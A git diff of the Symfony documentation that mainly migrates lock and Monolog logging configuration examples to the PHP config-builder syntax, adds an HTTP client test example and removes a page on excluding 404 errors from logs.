+            $requestJson = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $response = $this->httpClient->request('POST', 'api/article', [
+                'headers' => [
+                    'Content-Type: application/json',
+                    'Accept: application/json',
+                ],
+                'body' => $requestJson,
+            ]);
+
+            if (201 !== $response->getStatusCode()) {
+                throw new Exception('Response status code is different than expected.');
+            }
+
+            // ... other checks
+
+            $responseJson = $response->getContent();
+            $responseData = json_decode($responseJson, true, 512, JSON_THROW_ON_ERROR);
+
+            return $responseData;
+        }
+    }
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $expectedRequestData = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $expectedResponseData = ['id' => 12345];
+            $mockResponseJson = json_encode($expectedResponseData, JSON_THROW_ON_ERROR);
+            $mockResponse = new MockResponse($mockResponseJson, [
+                'http_code' => 201,
+                'response_headers' => ['Content-Type: application/json'],
+            ]);
+
+            $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            self::assertContains(
+                'Content-Type: application/json',
+                $mockResponse->getRequestOptions()['headers']
+            );
+            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+
+            self::assertSame($responseData, $expectedResponseData);
+        }
+    }
 
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
@@ -1616,5 +1937,6 @@ Then configure Symfony to use your callback:
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
-.. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
+.. _`SSRF`: https://portswigger.net/web-security/ssrf
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 40a421f85dd..3d7ea851bb7 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -528,7 +528,7 @@ The Sample Application in Symfony
 
 The blog has come a *long* way, but it still contains a lot of code for such
 a basic application. Along the way, you've made a basic routing system and
-a method using ``ob_start()`` and ``ob_get_clean()`` to render templates.
+a function using ``ob_start()`` and ``ob_get_clean()`` to render templates.
 If, for some reason, you needed to continue building this "framework" from
 scratch, you could at least use Symfony's standalone :doc:`Routing </routing>`
 component and :doc:`Twig </templates>`, which already solve these problems.
@@ -540,24 +540,21 @@ them for you. Here's the same sample application, now built in Symfony::
     namespace App\Controller;
 
     use App\Entity\Post;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     class BlogController extends AbstractController
     {
-        public function list()
+        public function list(ManagerRegistry $doctrine)
         {
-            $posts = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->findAll();
+            $posts = $doctrine->getRepository(Post::class)->findAll();
 
             return $this->render('blog/list.html.twig', ['posts' => $posts]);
         }
 
-        public function show($id)
+        public function show(ManagerRegistry $doctrine, $id)
         {
-            $post = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->find($id);
+            $post = $doctrine->getRepository(Post::class)->find($id);
 
             if (!$post) {
                 // cause the 404 page not found to be displayed
@@ -580,7 +577,7 @@ and uses Twig:
 
 .. code-block:: html+twig
 
-    <!-- templates/blog/list.html.twig -->
+    {# templates/blog/list.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block title %}List of Posts{% endblock %}
@@ -609,10 +606,10 @@ The ``layout.php`` file is nearly identical:
             <meta charset="UTF-8">
             <title>{% block title %}Welcome!{% endblock %}</title>
             {% block stylesheets %}{% endblock %}
+            {% block javascripts %}{% endblock %}
         </head>
         <body>
             {% block body %}{% endblock %}
-            {% block javascripts %}{% endblock %}
         </body>
     </html>
 
diff --git a/lock.rst b/lock.rst
index 92fa69cc526..207d4f93d4f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -129,32 +129,33 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => null,
-            'lock' => 'flock',
-            'lock' => 'flock:///path/to/file',
-            'lock' => 'semaphore',
-            'lock' => 'memcached://m1.docker',
-            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
-            'lock' => 'redis://r1.docker',
-            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
-            'lock' => 'zookeeper://z1.docker',
-            'lock' => 'zookeeper://z1.docker,z2.docker',
-            'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
-            'lock' => 'mysql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock',
-            'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
-            'lock' => 'oci:host=127.0.0.1;dbname=app',
-            'lock' => 'mongodb://127.0.0.1/app?collection=lock',
-            'lock' => '%env(LOCK_DSN)%',
-
-            // named locks
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['flock'])
+                ->resource('default', ['flock:///path/to/file'])
+                ->resource('default', ['semaphore'])
+                ->resource('default', ['memcached://m1.docker'])
+                ->resource('default', ['memcached://m1.docker', 'memcached://m2.docker'])
+                ->resource('default', ['redis://r1.docker'])
+                ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
+                ->resource('default', ['zookeeper://z1.docker'])
+                ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
+                ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
+                ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
+                ->resource('default', ['%env(LOCK_DSN)%'])
+
+                // named locks
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore'])
+            ;
+        };
 
 Locking a Resource
 ------------------
@@ -198,8 +199,8 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. In our previous example
-with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+to lock a small subset of process and let other through. The previous example
+showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 
@@ -228,11 +229,13 @@ processes asking for the same ``$version``::
         }
     }
 
+.. _lock-named-locks:
+
 Named Lock
 ----------
 
 If the application needs different kind of Stores alongside each other, Symfony
-provides :ref:`named lock <reference-lock-resources-name>`::
+provides :ref:`named lock <reference-lock-resources-name>`:
 
 .. configuration-block::
 
@@ -267,12 +270,15 @@ provides :ref:`named lock <reference-lock-resources-name>`::
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore']);
+            ;
+        };
+
 
 Each name becomes a service where the service id is part of the name of the
 lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
@@ -292,4 +298,4 @@ you can do it by :doc:`decorating the store </service_container/service_decorati
     lock.default.retry_till_save.store:
         class: Symfony\Component\Lock\Store\RetryTillSaveStore
         decorates: lock.default.store
-        arguments: ['@lock.default.retry_till_save.store.inner', 100, 50]
+        arguments: ['@.inner', 100, 50]
diff --git a/logging.rst b/logging.rst
index 4cfb46581ad..25328e5e945 100644
--- a/logging.rst
+++ b/logging.rst
@@ -23,7 +23,7 @@ To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
 
@@ -64,13 +64,15 @@ The following sections assume that Monolog is installed.
 Where Logs are Stored
 ---------------------
 
-By default, log entries are written to the ``var/log/dev.log`` file when you're in
-the ``dev`` environment. In the ``prod`` environment, logs are written to ``var/log/prod.log``,
-but *only* during a request where an error or high-priority log entry was made
-(i.e. ``error()`` , ``critical()``, ``alert()`` or ``emergency()``).
+By default, log entries are written to the ``var/log/dev.log`` file when you're
+in the ``dev`` environment.
 
-To control this, you'll configure different *handlers* that handle log entries, sometimes
-modify them, and ultimately store them.
+In the ``prod`` environment, logs are written to `STDERR PHP stream`_, which
+works best in modern containerized applications deployed to servers without
+disk write permissions.
+
+If you prefer to store production logs in a file, set the ``path`` of your
+log handler(s) to the path of the file to use (e.g. ``var/log/prod.log``).
 
 Handlers: Writing Logs to different Locations
 ---------------------------------------------
@@ -138,27 +140,35 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // this "file_log" key could be anything
-                'file_log' => [
-                    'type'  => 'stream',
-                    // log to var/logs/(environment).log
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    // log *all* messages (debug is lowest level)
-                    'level' => 'debug',
-                ],
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    // log error-level messages and higher
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // this "file_log" key could be anything
+            $monolog->handler('file_log')
+                ->type('stream')
+                // log to var/logs/(environment).log
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                // log *all* messages (debug is lowest level)
+                ->level('debug');
+
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                // log error-level messages and higher
+                ->level('error');
+        };
 
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
 
+.. note::
+
+    If you want to override the ``monolog`` configuration via another config
+    file, you will need to redefine the entire ``handlers`` stack. The configuration
+    from the two files cannot be merged because the order matters and a merge does
+    not allow to control the order.
+
+.. _logging-handler-fingers_crossed:
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -229,29 +239,29 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'filter_for_errors' => [
-                    'type'         => 'fingers_crossed',
-                    // if *one* log is error or higher, pass *all* to file_log
-                    'action_level' => 'error',
-                    'handler'      => 'file_log',
-                ],
-
-                // now passed *all* logs, but only if one log is error or higher
-                'file_log' => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-
-                // still passed *all* logs, and still only logs error or higher
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('filter_for_errors')
+                ->type('fingers_crossed')
+                // if *one* log is error or higher, pass *all* to file_log
+                ->actionLevel('error')
+                ->handler('file_log')
+            ;
+
+            // now passed *all* logs, but only if one log is error or higher
+            $monolog->handler('file_log')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                ->level('error')
+            ;
+        };
 
 Now, if even one log entry has an ``error`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
@@ -263,13 +273,6 @@ debugging much easier!
     The handler named "file_log" will not be included in the stack itself as
     it is used as a nested handler of the ``fingers_crossed`` handler.
 
-.. note::
-
-    If you want to override the ``monolog`` configuration via another config
-    file, you will need to redefine the entire ``handlers`` stack. The configuration
-    from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
-
 All Built-in Handlers
 ---------------------
 
@@ -331,18 +334,17 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'  => 'rotating_file',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                    // max number of log files to keep
-                    // defaults to zero, which means infinite files
-                    'max_files' => 10,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('rotating_file')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                // max number of log files to keep
+                // defaults to zero, which means infinite files
+                ->maxFiles(10);
+        };
 
 Using a Logger inside a Service
 -------------------------------
@@ -379,15 +381,11 @@ Learn more
     logging/monolog_exclude_http_codes
     logging/monolog_console
 
-.. toctree::
-    :hidden:
-
-    logging/monolog_regex_based_excludes
-
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
-.. _PSR-3: https://www.php-fig.org/psr/psr-3/
+.. _`PSR-3`: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)
-.. _Monolog: https://github.com/Seldaek/monolog
-.. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
+.. _`Monolog`: https://github.com/Seldaek/monolog
+.. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25
+.. _`STDERR PHP stream`: https://www.php.net/manual/en/features.commandline.io-streams.php
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..ae0567fd551 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -78,23 +78,19 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'security' => [
-                    'type'     => 'stream',
-                    'path'     => '%kernel.logs_dir%/security.log',
-                    'channels' => [
-                        'security',
-                    ],
-                ],
-                'main'     => [
-                    // ...
-                    'channels' => [
-                        '!security',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('security')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/security.log')
+                ->channels()->elements(['security']);
+
+            $monolog->handler('main')
+                 // ...
+
+                ->channels()->elements(['!security']);
+        };
 
 .. caution::
 
@@ -163,12 +159,11 @@ You can also configure additional channels without the need to tag your services
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'channels' => [
-                'foo',
-                'bar',
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->channels(['foo', 'bar']);
+        };
 
 Symfony automatically registers one service per channel (in this example, the
 channel ``foo`` creates a service called ``monolog.logger.foo``). In order to
@@ -182,18 +177,18 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
-:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
+``Psr\Log\LoggerInterface $<camelCased channel name> + Logger``. The ``<channel>``
+must have been :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-For example to inject the service related to the ``app`` logger channel,
+For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:
 
 .. code-block:: diff
 
     -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $appLogger)
+    +     public function __construct(LoggerInterface $fooBarLogger)
         {
-            $this->logger = $appLogger;
+            $this->logger = $fooBarLogger;
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
diff --git a/logging/formatter.rst b/logging/formatter.rst
index b41cd7ad06e..737b0b86a5f 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -23,7 +23,7 @@ configure your handler to use it:
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -33,7 +33,6 @@ configure your handler to use it:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
             <monolog:config>
                 <monolog:handler
                     name="file"
@@ -46,16 +45,13 @@ configure your handler to use it:
 
     .. code-block:: php
 
-        // config/services.php
-        use Monolog\Formatter\JsonFormatter;
-
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'file' => [
-                    'type'      => 'stream',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.json',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('file')
+                ->type('stream')
+                ->level('debug')
+                ->formatter('monolog.formatter.json')
+            ;
+        };
diff --git a/logging/handlers.rst b/logging/handlers.rst
index 9f5b903cfa9..4e37e01f622 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -88,14 +88,13 @@ Then reference it in the Monolog configuration:
 
         // config/packages/prod/monolog.php
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
-
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'es' => [
-                    'type' => 'service',
-                    'id' => ElasticsearchLogstashHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
 
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 5c0263c5349..b0f2a1b252f 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -42,7 +42,6 @@ The example above could then be rewritten as::
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
     class YourCommand extends Command
     {
@@ -56,7 +55,6 @@ The example above could then be rewritten as::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $this->logger->debug('Some info');
-            // ...
             $this->logger->notice('Some more info');
         }
     }
@@ -67,6 +65,16 @@ the console. If they are displayed, they are timestamped and colored appropriate
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
+===============  =======================================  ============
+LoggerInterface  Verbosity                                Command line
+===============  =======================================  ============
+->error()        OutputInterface::VERBOSITY_QUIET         stderr
+->warning()      OutputInterface::VERBOSITY_NORMAL        stdout
+->notice()       OutputInterface::VERBOSITY_VERBOSE       -v
+->info()         OutputInterface::VERBOSITY_VERY_VERBOSE  -vv
+->debug()        OutputInterface::VERBOSITY_DEBUG         -vvv
+===============  =======================================  ============
+
 The Monolog console handler is enabled by default:
 
 .. configuration-block::
@@ -112,15 +120,15 @@ The Monolog console handler is enabled by default:
     .. code-block:: php
 
         // config/packages/dev/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'console' => [
-                   'type' => 'console',
-                   'process_psr_3_messages' => false,
-                   'channels' => ['!event', '!doctrine', '!console'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('console')
+                ->type('console')
+                ->processPsr3Messages(false)
+                ->channels()->elements(['!event', '!doctrine', '!console'])
+            ;
+        };
 
 Now, log messages will be shown on the console based on the log levels and verbosity.
 By default (normal verbosity level), warnings and higher will be shown. But in
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 22ed4d08928..0a3c85cc5bd 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -28,8 +28,7 @@ it is broken down.
                     action_level: critical
                     # to also log 400 level errors (but not 404's):
                     # action_level: error
-                    # excluded_404s:
-                    #     - ^/
+                    # excluded_http_codes: [404]
                     handler:      deduplicated
                 deduplicated:
                     type:    deduplication
@@ -62,7 +61,7 @@ it is broken down.
                 to also log 400 level errors (but not 404's):
                 action-level="error"
                 And add this child inside this monolog:handler
-                <monolog:excluded-404>^/</monolog:excluded-404>
+                <monolog:excluded-http-code code="404"/>
                 -->
                 <monolog:handler
                     name="main"
@@ -99,36 +98,37 @@ it is broken down.
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    // 500 errors are logged at the critical level
-                    'action_level' => 'critical',
-                    // to also log 400 level errors (but not 404's):
-                    // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
-                    'handler'      => 'deduplicated',
-                ],
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    'handler' => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $mainHandler = $monolog->handler('main')
+                ->type('fingers_crossed')
+                // 500 errors are logged at the critical level
+                ->actionLevel('critical')
+                // to also log 400 level errors:
+                // ->actionLevel('error')
+                ->handler('deduplicated')
+            ;
+
+            // add this to exclude 404 errors
+            // $mainHandler->excludedHttpCode()->code(404);
+
+            $monolog->handler('deduplicated')
+                ->type('deduplication')
+                ->handler('symfony_mailer');
+
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 The ``main`` handler is a ``fingers_crossed`` handler which means that
 it is only triggered when the action level, in this case ``critical`` is reached.
@@ -177,17 +177,18 @@ You can adjust the time period using the ``time`` option:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // ...
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    // the time in seconds during which duplicate entries are discarded (default: 60)
-                    'time' => 10,
-                    'handler' => 'symfony_mailer',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // ...
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                // the time in seconds during which duplicate entries are discarded (default: 60)
+                ->time(10)
+                ->handler('symfony_mailer')
+            ;
+        };
 
 The messages are then passed to the ``symfony_mailer`` handler. This is the handler that
 actually deals with emailing you the error. The settings for this are
@@ -285,39 +286,43 @@ get logged on the server as well as the emails being sent:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    'action_level' => 'critical',
-                    'handler'      => 'grouped',
-                ],
-                'grouped' => [
-                    'type'    => 'group',
-                    'members' => ['streamed', 'deduplicated'],
-                ],
-                'streamed'  => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-                'deduplicated' => [
-                    'type'     => 'deduplication',
-                    'handler'  => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->actionLevel('critical')
+                ->handler('grouped')
+            ;
+
+            $monolog->handler('group')
+                ->members(['streamed', 'deduplicated'])
+            ;
+
+            $monolog->handler('streamed')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 This uses the ``group`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 9c1bd81bdcc..a064370d0c5 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -49,16 +49,18 @@ logging these HTTP codes based on the MonologBundle configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'                => 'fingers_crossed',
-                    'handler'             => ...,
-                    'excluded_http_codes' => [403, 404],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $mainHandler = $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+            ;
+
+            $mainHandler->excludedHttpCode()->code(403);
+            $mainHandler->excludedHttpCode()->code(404);
+        };
 
 .. caution::
 
diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
deleted file mode 100644
index be4a6ee8b7e..00000000000
--- a/logging/monolog_regex_based_excludes.rst
+++ /dev/null
@@ -1,78 +0,0 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude 404 Errors
-   single: Monolog; Exclude 404 Errors
-
-How to Configure Monolog to Exclude 404 Errors from the Log
-===========================================================
-
-.. tip::
-
-    Read :doc:`/logging/monolog_exclude_http_codes` to learn about a similar
-    but more generic feature that allows to exclude logs for any HTTP status
-    code and not only 404 errors.
-
-Sometimes your logs become flooded with unwanted 404 HTTP errors, for example,
-when an attacker scans your app for some well-known application paths (e.g.
-`/phpmyadmin`). When using a ``fingers_crossed`` handler, you can exclude
-logging these 404 errors based on a regular expression in the MonologBundle
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                main:
-                    # ...
-                    type: fingers_crossed
-                    handler: ...
-                    excluded_404s:
-                        - ^/phpmyadmin
-
-    .. code-block:: xml
-
-        <!-- config/packages/prod/monolog.xml -->
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:monolog="http://symfony.com/schema/dic/monolog"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/monolog
-                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
-
-            <monolog:config>
-                <monolog:handler type="fingers_crossed" name="main" handler="...">
-                    <!-- ... -->
-                    <monolog:excluded-404>^/phpmyadmin</monolog:excluded-404>
-                </monolog:handler>
-            </monolog:config>
-        </container>
-
-    .. code-block:: php
-
